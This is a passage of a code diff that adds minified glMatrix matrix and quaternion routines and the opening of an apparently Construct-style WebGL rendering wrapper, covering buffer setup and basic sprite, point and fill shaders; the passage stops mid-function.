+mat4.determinant=function(a){var b=a[0],c=a[1],d=a[2],e=a[3],g=a[4],f=a[5],h=a[6],i=a[7],j=a[8],k=a[9],l=a[10],n=a[11],o=a[12],m=a[13],p=a[14],a=a[15];return o*k*h*e-j*m*h*e-o*f*l*e+g*m*l*e+j*f*p*e-g*k*p*e-o*k*d*i+j*m*d*i+o*c*l*i-b*m*l*i-j*c*p*i+b*k*p*i+o*f*d*n-g*m*d*n-o*c*h*n+b*m*h*n+g*c*p*n-b*f*p*n-j*f*d*a+g*k*d*a+j*c*h*a-b*k*h*a-g*c*l*a+b*f*l*a};
+mat4.inverse=function(a,b){b||(b=a);var c=a[0],d=a[1],e=a[2],g=a[3],f=a[4],h=a[5],i=a[6],j=a[7],k=a[8],l=a[9],n=a[10],o=a[11],m=a[12],p=a[13],r=a[14],s=a[15],A=c*h-d*f,B=c*i-e*f,t=c*j-g*f,u=d*i-e*h,v=d*j-g*h,w=e*j-g*i,x=k*p-l*m,y=k*r-n*m,z=k*s-o*m,C=l*r-n*p,D=l*s-o*p,E=n*s-o*r,q=1/(A*E-B*D+t*C+u*z-v*y+w*x);b[0]=(h*E-i*D+j*C)*q;b[1]=(-d*E+e*D-g*C)*q;b[2]=(p*w-r*v+s*u)*q;b[3]=(-l*w+n*v-o*u)*q;b[4]=(-f*E+i*z-j*y)*q;b[5]=(c*E-e*z+g*y)*q;b[6]=(-m*w+r*t-s*B)*q;b[7]=(k*w-n*t+o*B)*q;b[8]=(f*D-h*z+j*x)*q;
+b[9]=(-c*D+d*z-g*x)*q;b[10]=(m*v-p*t+s*A)*q;b[11]=(-k*v+l*t-o*A)*q;b[12]=(-f*C+h*y-i*x)*q;b[13]=(c*C-d*y+e*x)*q;b[14]=(-m*u+p*B-r*A)*q;b[15]=(k*u-l*B+n*A)*q;return b};mat4.toRotationMat=function(a,b){b||(b=mat4.create());b[0]=a[0];b[1]=a[1];b[2]=a[2];b[3]=a[3];b[4]=a[4];b[5]=a[5];b[6]=a[6];b[7]=a[7];b[8]=a[8];b[9]=a[9];b[10]=a[10];b[11]=a[11];b[12]=0;b[13]=0;b[14]=0;b[15]=1;return b};
+mat4.toMat3=function(a,b){b||(b=mat3.create());b[0]=a[0];b[1]=a[1];b[2]=a[2];b[3]=a[4];b[4]=a[5];b[5]=a[6];b[6]=a[8];b[7]=a[9];b[8]=a[10];return b};mat4.toInverseMat3=function(a,b){var c=a[0],d=a[1],e=a[2],g=a[4],f=a[5],h=a[6],i=a[8],j=a[9],k=a[10],l=k*f-h*j,n=-k*g+h*i,o=j*g-f*i,m=c*l+d*n+e*o;if(!m)return null;m=1/m;b||(b=mat3.create());b[0]=l*m;b[1]=(-k*d+e*j)*m;b[2]=(h*d-e*f)*m;b[3]=n*m;b[4]=(k*c-e*i)*m;b[5]=(-h*c+e*g)*m;b[6]=o*m;b[7]=(-j*c+d*i)*m;b[8]=(f*c-d*g)*m;return b};
+mat4.multiply=function(a,b,c){c||(c=a);var d=a[0],e=a[1],g=a[2],f=a[3],h=a[4],i=a[5],j=a[6],k=a[7],l=a[8],n=a[9],o=a[10],m=a[11],p=a[12],r=a[13],s=a[14],a=a[15],A=b[0],B=b[1],t=b[2],u=b[3],v=b[4],w=b[5],x=b[6],y=b[7],z=b[8],C=b[9],D=b[10],E=b[11],q=b[12],F=b[13],G=b[14],b=b[15];c[0]=A*d+B*h+t*l+u*p;c[1]=A*e+B*i+t*n+u*r;c[2]=A*g+B*j+t*o+u*s;c[3]=A*f+B*k+t*m+u*a;c[4]=v*d+w*h+x*l+y*p;c[5]=v*e+w*i+x*n+y*r;c[6]=v*g+w*j+x*o+y*s;c[7]=v*f+w*k+x*m+y*a;c[8]=z*d+C*h+D*l+E*p;c[9]=z*e+C*i+D*n+E*r;c[10]=z*g+C*
+j+D*o+E*s;c[11]=z*f+C*k+D*m+E*a;c[12]=q*d+F*h+G*l+b*p;c[13]=q*e+F*i+G*n+b*r;c[14]=q*g+F*j+G*o+b*s;c[15]=q*f+F*k+G*m+b*a;return c};mat4.multiplyVec3=function(a,b,c){c||(c=b);var d=b[0],e=b[1],b=b[2];c[0]=a[0]*d+a[4]*e+a[8]*b+a[12];c[1]=a[1]*d+a[5]*e+a[9]*b+a[13];c[2]=a[2]*d+a[6]*e+a[10]*b+a[14];return c};
+mat4.multiplyVec4=function(a,b,c){c||(c=b);var d=b[0],e=b[1],g=b[2],b=b[3];c[0]=a[0]*d+a[4]*e+a[8]*g+a[12]*b;c[1]=a[1]*d+a[5]*e+a[9]*g+a[13]*b;c[2]=a[2]*d+a[6]*e+a[10]*g+a[14]*b;c[3]=a[3]*d+a[7]*e+a[11]*g+a[15]*b;return c};
+mat4.translate=function(a,b,c){var d=b[0],e=b[1],b=b[2],g,f,h,i,j,k,l,n,o,m,p,r;if(!c||a===c)return a[12]=a[0]*d+a[4]*e+a[8]*b+a[12],a[13]=a[1]*d+a[5]*e+a[9]*b+a[13],a[14]=a[2]*d+a[6]*e+a[10]*b+a[14],a[15]=a[3]*d+a[7]*e+a[11]*b+a[15],a;g=a[0];f=a[1];h=a[2];i=a[3];j=a[4];k=a[5];l=a[6];n=a[7];o=a[8];m=a[9];p=a[10];r=a[11];c[0]=g;c[1]=f;c[2]=h;c[3]=i;c[4]=j;c[5]=k;c[6]=l;c[7]=n;c[8]=o;c[9]=m;c[10]=p;c[11]=r;c[12]=g*d+j*e+o*b+a[12];c[13]=f*d+k*e+m*b+a[13];c[14]=h*d+l*e+p*b+a[14];c[15]=i*d+n*e+r*b+a[15];
+return c};mat4.scale=function(a,b,c){var d=b[0],e=b[1],b=b[2];if(!c||a===c)return a[0]*=d,a[1]*=d,a[2]*=d,a[3]*=d,a[4]*=e,a[5]*=e,a[6]*=e,a[7]*=e,a[8]*=b,a[9]*=b,a[10]*=b,a[11]*=b,a;c[0]=a[0]*d;c[1]=a[1]*d;c[2]=a[2]*d;c[3]=a[3]*d;c[4]=a[4]*e;c[5]=a[5]*e;c[6]=a[6]*e;c[7]=a[7]*e;c[8]=a[8]*b;c[9]=a[9]*b;c[10]=a[10]*b;c[11]=a[11]*b;c[12]=a[12];c[13]=a[13];c[14]=a[14];c[15]=a[15];return c};
+mat4.rotate=function(a,b,c,d){var e=c[0],g=c[1],c=c[2],f=Math.sqrt(e*e+g*g+c*c),h,i,j,k,l,n,o,m,p,r,s,A,B,t,u,v,w,x,y,z;if(!f)return null;f!==1&&(f=1/f,e*=f,g*=f,c*=f);h=Math.sin(b);i=Math.cos(b);j=1-i;b=a[0];f=a[1];k=a[2];l=a[3];n=a[4];o=a[5];m=a[6];p=a[7];r=a[8];s=a[9];A=a[10];B=a[11];t=e*e*j+i;u=g*e*j+c*h;v=c*e*j-g*h;w=e*g*j-c*h;x=g*g*j+i;y=c*g*j+e*h;z=e*c*j+g*h;e=g*c*j-e*h;g=c*c*j+i;d?a!==d&&(d[12]=a[12],d[13]=a[13],d[14]=a[14],d[15]=a[15]):d=a;d[0]=b*t+n*u+r*v;d[1]=f*t+o*u+s*v;d[2]=k*t+m*u+A*
+v;d[3]=l*t+p*u+B*v;d[4]=b*w+n*x+r*y;d[5]=f*w+o*x+s*y;d[6]=k*w+m*x+A*y;d[7]=l*w+p*x+B*y;d[8]=b*z+n*e+r*g;d[9]=f*z+o*e+s*g;d[10]=k*z+m*e+A*g;d[11]=l*z+p*e+B*g;return d};mat4.rotateX=function(a,b,c){var d=Math.sin(b),b=Math.cos(b),e=a[4],g=a[5],f=a[6],h=a[7],i=a[8],j=a[9],k=a[10],l=a[11];c?a!==c&&(c[0]=a[0],c[1]=a[1],c[2]=a[2],c[3]=a[3],c[12]=a[12],c[13]=a[13],c[14]=a[14],c[15]=a[15]):c=a;c[4]=e*b+i*d;c[5]=g*b+j*d;c[6]=f*b+k*d;c[7]=h*b+l*d;c[8]=e*-d+i*b;c[9]=g*-d+j*b;c[10]=f*-d+k*b;c[11]=h*-d+l*b;return c};
+mat4.rotateY=function(a,b,c){var d=Math.sin(b),b=Math.cos(b),e=a[0],g=a[1],f=a[2],h=a[3],i=a[8],j=a[9],k=a[10],l=a[11];c?a!==c&&(c[4]=a[4],c[5]=a[5],c[6]=a[6],c[7]=a[7],c[12]=a[12],c[13]=a[13],c[14]=a[14],c[15]=a[15]):c=a;c[0]=e*b+i*-d;c[1]=g*b+j*-d;c[2]=f*b+k*-d;c[3]=h*b+l*-d;c[8]=e*d+i*b;c[9]=g*d+j*b;c[10]=f*d+k*b;c[11]=h*d+l*b;return c};
+mat4.rotateZ=function(a,b,c){var d=Math.sin(b),b=Math.cos(b),e=a[0],g=a[1],f=a[2],h=a[3],i=a[4],j=a[5],k=a[6],l=a[7];c?a!==c&&(c[8]=a[8],c[9]=a[9],c[10]=a[10],c[11]=a[11],c[12]=a[12],c[13]=a[13],c[14]=a[14],c[15]=a[15]):c=a;c[0]=e*b+i*d;c[1]=g*b+j*d;c[2]=f*b+k*d;c[3]=h*b+l*d;c[4]=e*-d+i*b;c[5]=g*-d+j*b;c[6]=f*-d+k*b;c[7]=h*-d+l*b;return c};
+mat4.frustum=function(a,b,c,d,e,g,f){f||(f=mat4.create());var h=b-a,i=d-c,j=g-e;f[0]=e*2/h;f[1]=0;f[2]=0;f[3]=0;f[4]=0;f[5]=e*2/i;f[6]=0;f[7]=0;f[8]=(b+a)/h;f[9]=(d+c)/i;f[10]=-(g+e)/j;f[11]=-1;f[12]=0;f[13]=0;f[14]=-(g*e*2)/j;f[15]=0;return f};mat4.perspective=function(a,b,c,d,e){a=c*Math.tan(a*Math.PI/360);b*=a;return mat4.frustum(-b,b,-a,a,c,d,e)};
+mat4.ortho=function(a,b,c,d,e,g,f){f||(f=mat4.create());var h=b-a,i=d-c,j=g-e;f[0]=2/h;f[1]=0;f[2]=0;f[3]=0;f[4]=0;f[5]=2/i;f[6]=0;f[7]=0;f[8]=0;f[9]=0;f[10]=-2/j;f[11]=0;f[12]=-(a+b)/h;f[13]=-(d+c)/i;f[14]=-(g+e)/j;f[15]=1;return f};
+mat4.lookAt=function(a,b,c,d){d||(d=mat4.create());var e,g,f,h,i,j,k,l,n=a[0],o=a[1],a=a[2];g=c[0];f=c[1];e=c[2];c=b[1];j=b[2];if(n===b[0]&&o===c&&a===j)return mat4.identity(d);c=n-b[0];j=o-b[1];k=a-b[2];l=1/Math.sqrt(c*c+j*j+k*k);c*=l;j*=l;k*=l;b=f*k-e*j;e=e*c-g*k;g=g*j-f*c;(l=Math.sqrt(b*b+e*e+g*g))?(l=1/l,b*=l,e*=l,g*=l):g=e=b=0;f=j*g-k*e;h=k*b-c*g;i=c*e-j*b;(l=Math.sqrt(f*f+h*h+i*i))?(l=1/l,f*=l,h*=l,i*=l):i=h=f=0;d[0]=b;d[1]=f;d[2]=c;d[3]=0;d[4]=e;d[5]=h;d[6]=j;d[7]=0;d[8]=g;d[9]=i;d[10]=k;d[11]=
+0;d[12]=-(b*n+e*o+g*a);d[13]=-(f*n+h*o+i*a);d[14]=-(c*n+j*o+k*a);d[15]=1;return d};mat4.fromRotationTranslation=function(a,b,c){c||(c=mat4.create());var d=a[0],e=a[1],g=a[2],f=a[3],h=d+d,i=e+e,j=g+g,a=d*h,k=d*i;d*=j;var l=e*i;e*=j;g*=j;h*=f;i*=f;f*=j;c[0]=1-(l+g);c[1]=k+f;c[2]=d-i;c[3]=0;c[4]=k-f;c[5]=1-(a+g);c[6]=e+h;c[7]=0;c[8]=d+i;c[9]=e-h;c[10]=1-(a+l);c[11]=0;c[12]=b[0];c[13]=b[1];c[14]=b[2];c[15]=1;return c};
+mat4.str=function(a){return"["+a[0]+", "+a[1]+", "+a[2]+", "+a[3]+", "+a[4]+", "+a[5]+", "+a[6]+", "+a[7]+", "+a[8]+", "+a[9]+", "+a[10]+", "+a[11]+", "+a[12]+", "+a[13]+", "+a[14]+", "+a[15]+"]"};quat4.create=function(a){var b=new MatrixArray(4);a&&(b[0]=a[0],b[1]=a[1],b[2]=a[2],b[3]=a[3]);return b};quat4.set=function(a,b){b[0]=a[0];b[1]=a[1];b[2]=a[2];b[3]=a[3];return b};
+quat4.calculateW=function(a,b){var c=a[0],d=a[1],e=a[2];if(!b||a===b)return a[3]=-Math.sqrt(Math.abs(1-c*c-d*d-e*e)),a;b[0]=c;b[1]=d;b[2]=e;b[3]=-Math.sqrt(Math.abs(1-c*c-d*d-e*e));return b};quat4.inverse=function(a,b){if(!b||a===b)return a[0]*=-1,a[1]*=-1,a[2]*=-1,a;b[0]=-a[0];b[1]=-a[1];b[2]=-a[2];b[3]=a[3];return b};quat4.length=function(a){var b=a[0],c=a[1],d=a[2],a=a[3];return Math.sqrt(b*b+c*c+d*d+a*a)};
+quat4.normalize=function(a,b){b||(b=a);var c=a[0],d=a[1],e=a[2],g=a[3],f=Math.sqrt(c*c+d*d+e*e+g*g);if(f===0)return b[0]=0,b[1]=0,b[2]=0,b[3]=0,b;f=1/f;b[0]=c*f;b[1]=d*f;b[2]=e*f;b[3]=g*f;return b};quat4.multiply=function(a,b,c){c||(c=a);var d=a[0],e=a[1],g=a[2],a=a[3],f=b[0],h=b[1],i=b[2],b=b[3];c[0]=d*b+a*f+e*i-g*h;c[1]=e*b+a*h+g*f-d*i;c[2]=g*b+a*i+d*h-e*f;c[3]=a*b-d*f-e*h-g*i;return c};
+quat4.multiplyVec3=function(a,b,c){c||(c=b);var d=b[0],e=b[1],g=b[2],b=a[0],f=a[1],h=a[2],a=a[3],i=a*d+f*g-h*e,j=a*e+h*d-b*g,k=a*g+b*e-f*d,d=-b*d-f*e-h*g;c[0]=i*a+d*-b+j*-h-k*-f;c[1]=j*a+d*-f+k*-b-i*-h;c[2]=k*a+d*-h+i*-f-j*-b;return c};quat4.toMat3=function(a,b){b||(b=mat3.create());var c=a[0],d=a[1],e=a[2],g=a[3],f=c+c,h=d+d,i=e+e,j=c*f,k=c*h;c*=i;var l=d*h;d*=i;e*=i;f*=g;h*=g;g*=i;b[0]=1-(l+e);b[1]=k+g;b[2]=c-h;b[3]=k-g;b[4]=1-(j+e);b[5]=d+f;b[6]=c+h;b[7]=d-f;b[8]=1-(j+l);return b};
+quat4.toMat4=function(a,b){b||(b=mat4.create());var c=a[0],d=a[1],e=a[2],g=a[3],f=c+c,h=d+d,i=e+e,j=c*f,k=c*h;c*=i;var l=d*h;d*=i;e*=i;f*=g;h*=g;g*=i;b[0]=1-(l+e);b[1]=k+g;b[2]=c-h;b[3]=0;b[4]=k-g;b[5]=1-(j+e);b[6]=d+f;b[7]=0;b[8]=c+h;b[9]=d-f;b[10]=1-(j+l);b[11]=0;b[12]=0;b[13]=0;b[14]=0;b[15]=1;return b};
+quat4.slerp=function(a,b,c,d){d||(d=a);var e=a[0]*b[0]+a[1]*b[1]+a[2]*b[2]+a[3]*b[3],g,f;if(Math.abs(e)>=1)return d!==a&&(d[0]=a[0],d[1]=a[1],d[2]=a[2],d[3]=a[3]),d;g=Math.acos(e);f=Math.sqrt(1-e*e);if(Math.abs(f)<0.001)return d[0]=a[0]*0.5+b[0]*0.5,d[1]=a[1]*0.5+b[1]*0.5,d[2]=a[2]*0.5+b[2]*0.5,d[3]=a[3]*0.5+b[3]*0.5,d;e=Math.sin((1-c)*g)/f;c=Math.sin(c*g)/f;d[0]=a[0]*e+b[0]*c;d[1]=a[1]*e+b[1]*c;d[2]=a[2]*e+b[2]*c;d[3]=a[3]*e+b[3]*c;return d};
+quat4.str=function(a){return"["+a[0]+", "+a[1]+", "+a[2]+", "+a[3]+"]"};
+(function()
+{
+ var MAX_VERTICES = 8000; // equates to 2500 objects being drawn
+ var MAX_INDICES = (MAX_VERTICES / 2) * 3; // 6 indices for every 4 vertices
+ var MAX_POINTS = 8000;
+ var MULTI_BUFFERS = 4; // cycle 4 buffers to try and avoid blocking
+ var BATCH_NULL = 0;
+ var BATCH_QUAD = 1;
+ var BATCH_SETTEXTURE = 2;
+ var BATCH_SETOPACITY = 3;
+ var BATCH_SETBLEND = 4;
+ var BATCH_UPDATEMODELVIEW = 5;
+ var BATCH_RENDERTOTEXTURE = 6;
+ var BATCH_CLEAR = 7;
+ var BATCH_POINTS = 8;
+ var BATCH_SETPROGRAM = 9;
+ var BATCH_SETPROGRAMPARAMETERS = 10;
+ var BATCH_SETTEXTURE1 = 11;
+ var BATCH_SETCOLOR = 12;
+ var BATCH_SETDEPTHTEST = 13;
+ var BATCH_SETEARLYZMODE = 14;
+ /*
+ var lose_ext = null;
+ window.lose_context = function ()
+ {
+ if (!lose_ext)
+ {
+ console.log("WEBGL_lose_context not supported");
+ return;
+ }
+ lose_ext.loseContext();
+ };
+ window.restore_context = function ()
+ {
+ if (!lose_ext)
+ {
+ console.log("WEBGL_lose_context not supported");
+ return;
+ }
+ lose_ext.restoreContext();
+ };
+ */
+ var tempMat4 = mat4.create();
+ function GLWrap_(gl, isMobile, enableFrontToBack)
+ {
+ this.isIE = /msie/i.test(navigator.userAgent) || /trident/i.test(navigator.userAgent);
+ this.width = 0; // not yet known, wait for call to setSize()
+ this.height = 0;
+ this.enableFrontToBack = !!enableFrontToBack;
+ this.isEarlyZPass = false;
+ this.isBatchInEarlyZPass = false;
+ this.currentZ = 0;
+ this.zNear = 1;
+ this.zFar = 1000;
+ this.zIncrement = ((this.zFar - this.zNear) / 32768);
+ this.zA = this.zFar / (this.zFar - this.zNear);
+ this.zB = this.zFar * this.zNear / (this.zNear - this.zFar);
+ this.kzA = 65536 * this.zA;
+ this.kzB = 65536 * this.zB;
+ this.cam = vec3.create([0, 0, 100]); // camera position
+ this.look = vec3.create([0, 0, 0]); // lookat position
+ this.up = vec3.create([0, 1, 0]); // up vector
+ this.worldScale = vec3.create([1, 1, 1]); // world scaling factor
+ this.enable_mipmaps = true;
+ this.matP = mat4.create(); // perspective matrix
+ this.matMV = mat4.create(); // model view matrix
+ this.lastMV = mat4.create();
+ this.currentMV = mat4.create();
+ this.gl = gl;
+ this.version = (this.gl.getParameter(this.gl.VERSION).indexOf("WebGL 2") === 0 ? 2 : 1);
+ this.initState();
+ };
+ GLWrap_.prototype.initState = function ()
+ {
+ var gl = this.gl;
+ var i, len;
+ this.lastOpacity = 1;
+ this.lastTexture0 = null; // last bound to TEXTURE0
+ this.lastTexture1 = null; // last bound to TEXTURE1
+ this.currentOpacity = 1;
+ gl.clearColor(0, 0, 0, 0);
+ gl.clear(gl.COLOR_BUFFER_BIT);
+ gl.enable(gl.BLEND);
+ gl.blendFunc(gl.ONE, gl.ONE_MINUS_SRC_ALPHA);
+ gl.disable(gl.CULL_FACE);
+ gl.disable(gl.STENCIL_TEST);
+ gl.disable(gl.DITHER);
+ if (this.enableFrontToBack)
+ {
+ gl.enable(gl.DEPTH_TEST);
+ gl.depthFunc(gl.LEQUAL);
+ }
+ else
+ {
+ gl.disable(gl.DEPTH_TEST);
+ }
+ this.maxTextureSize = gl.getParameter(gl.MAX_TEXTURE_SIZE);
+ this.lastSrcBlend = gl.ONE;
+ this.lastDestBlend = gl.ONE_MINUS_SRC_ALPHA;
+ this.vertexData = new Float32Array(MAX_VERTICES * (this.enableFrontToBack ? 3 : 2));
+ this.texcoordData = new Float32Array(MAX_VERTICES * 2);
+ this.pointData = new Float32Array(MAX_POINTS * 4);
+ this.pointBuffer = gl.createBuffer();
+ gl.bindBuffer(gl.ARRAY_BUFFER, this.pointBuffer);
+ gl.bufferData(gl.ARRAY_BUFFER, this.pointData.byteLength, gl.DYNAMIC_DRAW);
+ this.vertexBuffers = new Array(MULTI_BUFFERS);
+ this.texcoordBuffers = new Array(MULTI_BUFFERS);
+ for (i = 0; i < MULTI_BUFFERS; i++)
+ {
+ this.vertexBuffers[i] = gl.createBuffer();
+ gl.bindBuffer(gl.ARRAY_BUFFER, this.vertexBuffers[i]);
+ gl.bufferData(gl.ARRAY_BUFFER, this.vertexData.byteLength, gl.DYNAMIC_DRAW);
+ this.texcoordBuffers[i] = gl.createBuffer();
+ gl.bindBuffer(gl.ARRAY_BUFFER, this.texcoordBuffers[i]);
+ gl.bufferData(gl.ARRAY_BUFFER, this.texcoordData.byteLength, gl.DYNAMIC_DRAW);
+ }
+ this.curBuffer = 0;
+ this.indexBuffer = gl.createBuffer();
+ gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, this.indexBuffer);
+ var indexData = new Uint16Array(MAX_INDICES);
+ i = 0, len = MAX_INDICES;
+ var fv = 0;
+ while (i < len)
+ {
+ indexData[i++] = fv; // top left
+ indexData[i++] = fv + 1; // top right
+ indexData[i++] = fv + 2; // bottom right (first tri)
+ indexData[i++] = fv; // top left
+ indexData[i++] = fv + 2; // bottom right
+ indexData[i++] = fv + 3; // bottom left
+ fv += 4;
+ }
+ gl.bufferData(gl.ELEMENT_ARRAY_BUFFER, indexData, gl.STATIC_DRAW);
+ this.vertexPtr = 0;
+ this.texPtr = 0;
+ this.pointPtr = 0;
+ var fsSource, vsSource;
+ this.shaderPrograms = [];
+ fsSource = [
+ "varying mediump vec2 vTex;",
+ "uniform lowp float opacity;",
+ "uniform lowp sampler2D samplerFront;",
+ "void main(void) {",
+ " gl_FragColor = texture2D(samplerFront, vTex);",
+ " gl_FragColor *= opacity;",
+ "}"
+ ].join("\n");
+ if (this.enableFrontToBack)
+ {
+ vsSource = [
+ "attribute highp vec3 aPos;",
+ "attribute mediump vec2 aTex;",
+ "varying mediump vec2 vTex;",
+ "uniform highp mat4 matP;",
+ "uniform highp mat4 matMV;",
+ "void main(void) {",
+ " gl_Position = matP * matMV * vec4(aPos.x, aPos.y, aPos.z, 1.0);",
+ " vTex = aTex;",
+ "}"
+ ].join("\n");
+ }
+ else
+ {
+ vsSource = [
+ "attribute highp vec2 aPos;",
+ "attribute mediump vec2 aTex;",
+ "varying mediump vec2 vTex;",
+ "uniform highp mat4 matP;",
+ "uniform highp mat4 matMV;",
+ "void main(void) {",
+ " gl_Position = matP * matMV * vec4(aPos.x, aPos.y, 0.0, 1.0);",
+ " vTex = aTex;",
+ "}"
+ ].join("\n");
+ }
+ var shaderProg = this.createShaderProgram({src: fsSource}, vsSource, "");
+;
+ this.shaderPrograms.push(shaderProg); // Default shader is always shader 0
+ fsSource = [
+ "uniform mediump sampler2D samplerFront;",
+ "varying lowp float opacity;",
+ "void main(void) {",
+ " gl_FragColor = texture2D(samplerFront, gl_PointCoord);",
+ " gl_FragColor *= opacity;",
+ "}"
+ ].join("\n");
+ var pointVsSource = [
+ "attribute vec4 aPos;",
+ "varying float opacity;",
+ "uniform mat4 matP;",
+ "uniform mat4 matMV;",
+ "void main(void) {",
+ " gl_Position = matP * matMV * vec4(aPos.x, aPos.y, 0.0, 1.0);",
+ " gl_PointSize = aPos.z;",
+ " opacity = aPos.w;",
+ "}"
+ ].join("\n");
+ shaderProg = this.createShaderProgram({src: fsSource}, pointVsSource, "");
+;
+ this.shaderPrograms.push(shaderProg); // Point shader is always shader 1
+ fsSource = [
+ "varying mediump vec2 vTex;",
+ "uniform lowp sampler2D samplerFront;",
+ "void main(void) {",
+ " if (texture2D(samplerFront, vTex).a < 1.0)",
+ " discard;", // discarding non-opaque fragments
+ "}"
+ ].join("\n");
+ var shaderProg = this.createShaderProgram({src: fsSource}, vsSource, "");
+;
+ this.shaderPrograms.push(shaderProg); // Early-Z shader is always shader 2
+ fsSource = [
+ "uniform lowp vec4 colorFill;",
+ "void main(void) {",
+ " gl_FragColor = colorFill;",
+ "}"
+ ].join("\n");
+ var shaderProg = this.createShaderProgram({src: fsSource}, vsSource, "");
+;
+ this.shaderPrograms.push(shaderProg); // Fill-color shader is always shader 3
+ for (var shader_name in cr.shaders)
+ {
+ if (cr.shaders.hasOwnProperty(shader_name))
+ this.shaderPrograms.push(this.createShaderProgram(cr.shaders[shader_name], vsSource, shader_name));
+ }
+ gl.activeTexture(gl.TEXTURE0);
+ gl.bindTexture(gl.TEXTURE_2D, null);
+ this.batch = [];
+ this.batchPtr = 0;
+ this.hasQuadBatchTop = false;
+ this.hasPointBatchTop = false;
+ this.lastProgram = -1; // start -1 so first switchProgram can do work
+ this.currentProgram = -1; // current program during batch execution
+ this.currentShader = null;
+ this.fbo = gl.createFramebuffer();
+ this.renderToTex = null;
+ this.depthBuffer = null;
+ this.attachedDepthBuffer = false; // wait until first size call to attach, otherwise it has no storage
+ if (this.enableFrontToBack)
+ {
+ this.depthBuffer = gl.createRenderbuffer();
+ }
+ this.tmpVec3 = vec3.create([0, 0, 0]);
+;
+ var pointsizes = gl.getParameter(gl.ALIASED_POINT_SIZE_RANGE);
+ this.minPointSize = pointsizes[0];
+ this.maxPointSize = pointsizes[1];
+ if (this.maxPointSize > 2048)
+ this.maxPointSize = 2048;
+;
+ this.switchProgram(0);
+ cr.seal(this);
+ };
+ function GLShaderProgram(gl, shaderProgram, name)
+ {
+ this.gl = gl;
+ this.shaderProgram = shaderProgram;
+ this.name = name;
+ this.locAPos = gl.getAttribLocation(shaderProgram, "aPos");
+ this.locATex = gl.getAttribLocation(shaderProgram, "aTex");
+ this.locMatP = gl.getUniformLocation(shaderProgram, "matP");
+ this.locMatMV = gl.getUniformLocation(shaderProgram, "matMV");
+ this.locOpacity = gl.getUniformLocation(shaderProgram, "opacity");
+ this.locColorFill = gl.getUniformLocation(shaderProgram, "colorFill");
+ this.locSamplerFront = gl.getUniformLocation(shaderProgram, "samplerFront");
+ this.locSamplerBack = gl.getUniformLocation(shaderProgram, "samplerBack");
+ this.locDestStart = gl.getUniformLocation(shaderProgram, "destStart");
+ this.locDestEnd = gl.getUniformLocation(shaderProgram, "destEnd");
+ this.locSeconds = gl.getUniformLocation(shaderProgram, "seconds");
+ this.locPixelWidth = gl.getUniformLocation(shaderProgram, "pixelWidth");
+ this.locPixelHeight = gl.getUniformLocation(shaderProgram, "pixelHeight");
+ this.locLayerScale = gl.getUniformLocation(shaderProgram, "layerScale");
+ this.locLayerAngle = gl.getUniformLocation(shaderProgram, "layerAngle");
+ this.locViewOrigin = gl.getUniformLocation(shaderProgram, "viewOrigin");
+ this.locScrollPos = gl.getUniformLocation(shaderProgram, "scrollPos");
+ this.hasAnyOptionalUniforms = !!(this.locPixelWidth || this.locPixelHeight || this.locSeconds || this.locSamplerBack || this.locDestStart || this.locDestEnd || this.locLayerScale || this.locLayerAngle || this.locViewOrigin || this.locScrollPos);
+ this.lpPixelWidth = -999; // set to something unlikely so never counts as cached on first set
+ this.lpPixelHeight = -999;
+ this.lpOpacity = 1;
+ this.lpDestStartX = 0.0;
+ this.lpDestStartY = 0.0;
+ this.lpDestEndX = 1.0;
+ this.lpDestEndY = 1.0;
+ this.lpLayerScale = 1.0;
+ this.lpLayerAngle = 0.0;
+ this.lpViewOriginX = 0.0;
+ this.lpViewOriginY = 0.0;
+ this.lpScrollPosX = 0.0;
+ this.lpScrollPosY = 0.0;
+ this.lpSeconds = 0.0;
+ this.lastCustomParams = [];
+ this.lpMatMV = mat4.create();
+ if (this.locOpacity)
+ gl.uniform1f(this.locOpacity, 1);
+ if (this.locColorFill)
+ gl.uniform4f(this.locColorFill, 1.0, 1.0, 1.0, 1.0);
+ if (this.locSamplerFront)
+ gl.uniform1i(this.locSamplerFront, 0);
+ if (this.locSamplerBack)
+ gl.uniform1i(this.locSamplerBack, 1);
+ if (this.locDestStart)
+ gl.uniform2f(this.locDestStart, 0.0, 0.0);
+ if (this.locDestEnd)
+ gl.uniform2f(this.locDestEnd, 1.0, 1.0);
+ if (this.locLayerScale)
+ gl.uniform1f(this.locLayerScale, 1.0);
+ if (this.locLayerAngle)
+ gl.uniform1f(this.locLayerAngle, 0.0);
+ if (this.locViewOrigin)
+ gl.uniform2f(this.locViewOrigin, 0.0, 0.0);
+ if (this.locScrollPos)
+ gl.uniform2f(this.locScrollPos, 0.0, 0.0);
+ if (this.locSeconds)
+ gl.uniform1f(this.locSeconds, 0.0);
+ this.hasCurrentMatMV = false; // matMV needs updating
+ };
+ function areMat4sEqual(a, b)
+ {
+ return a[0]===b[0]&&a[1]===b[1]&&a[2]===b[2]&&a[3]===b[3]&&
+ a[4]===b[4]&&a[5]===b[5]&&a[6]===b[6]&&a[7]===b[7]&&
+ a[8]===b[8]&&a[9]===b[9]&&a[10]===b[10]&&a[11]===b[11]&&
+ a[12]===b[12]&&a[13]===b[13]&&a[14]===b[14]&&a[15]===b[15];
+ };
+ GLShaderProgram.prototype.updateMatMV = function (mv)
+ {
+ if (areMat4sEqual(this.lpMatMV, mv))
+ return; // no change, save the expensive GL call
+ mat4.set(mv, this.lpMatMV);
+ this.gl.uniformMatrix4fv(this.locMatMV, false, mv);
+ };
+ GLWrap_.prototype.createShaderProgram = function(shaderEntry, vsSource, name)
+ {
+ var gl = this.gl;
+ var fragmentShader = gl.createShader(gl.FRAGMENT_SHADER);
+ gl.shaderSource(fragmentShader, shaderEntry.src);
+ gl.compileShader(fragmentShader);
+ if (!gl.getShaderParameter(fragmentShader, gl.COMPILE_STATUS))
+ {
+ var compilationlog = gl.getShaderInfoLog(fragmentShader);
+ gl.deleteShader(fragmentShader);
+ throw new Error("error compiling fragment shader: " + compilationlog);
+ }
+ var vertexShader = gl.createShader(gl.VERTEX_SHADER);
+ gl.shaderSource(vertexShader, vsSource);
+ gl.compileShader(vertexShader);
+ if (!gl.getShaderParameter(vertexShader, gl.COMPILE_STATUS))
+ {
+ var compilationlog = gl.getShaderInfoLog(vertexShader);
+ gl.deleteShader(fragmentShader);
+ gl.deleteShader(vertexShader);
+ throw new Error("error compiling vertex shader: " + compilationlog);
+ }
+ var shaderProgram = gl.createProgram();
+ gl.attachShader(shaderProgram, fragmentShader);
+ gl.attachShader(shaderProgram, vertexShader);
+ gl.linkProgram(shaderProgram);
+ if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS))
+ {
